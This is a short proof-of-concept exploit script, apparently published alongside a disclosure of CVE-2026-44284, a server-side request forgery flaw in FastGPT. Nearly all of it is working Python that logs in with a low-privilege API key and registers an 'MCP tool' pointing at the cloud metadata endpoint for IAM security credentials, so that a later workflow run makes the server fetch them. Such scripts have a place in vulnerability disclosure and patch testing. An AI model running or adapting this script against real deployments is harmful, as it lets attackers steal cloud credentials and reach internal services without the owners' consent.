CVE-2026-44284 FastGPT SSRF漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-44284 (FastGPT SSRF) This script demonstrates how an authenticated user might exploit the inconsistent SSRF protection by creating a malicious MCP tool pointing to an internal URL. """ import requests import json TARGET_URL = "http://fastgpt-instance.com" API_KEY = "YOUR_FASTGPT_API_KEY" # Requires low privileges # Malicious internal URL to target (e.g., metadata service or internal admin panel) # Attacker aims to force the backend to connect to this address during workflow execution MALICIOUS_INTERNAL_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Payload to create/update an MCP tool with an internal URL payload = { "name": "Malicious MCP Tool", "type": "mcp", "config": { "url": MALICIOUS_INTERNAL_URL # Vulnerability: Internal URL is accepted here } } print(f"[*] Attempting to create MCP tool pointing to: {MALICIOUS_INTERNAL_URL}") try: response = requests.post( f"{TARGET_URL}/api/v1/mcp-tools", headers=headers, data=json.dumps(payload) ) if response.status_code == 200 or response.status_code == 201: print("[+] MCP Tool created successfully! The internal URL has been stored.") print("[+] Triggering a workflow execution using this tool would now result in an SSRF request.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")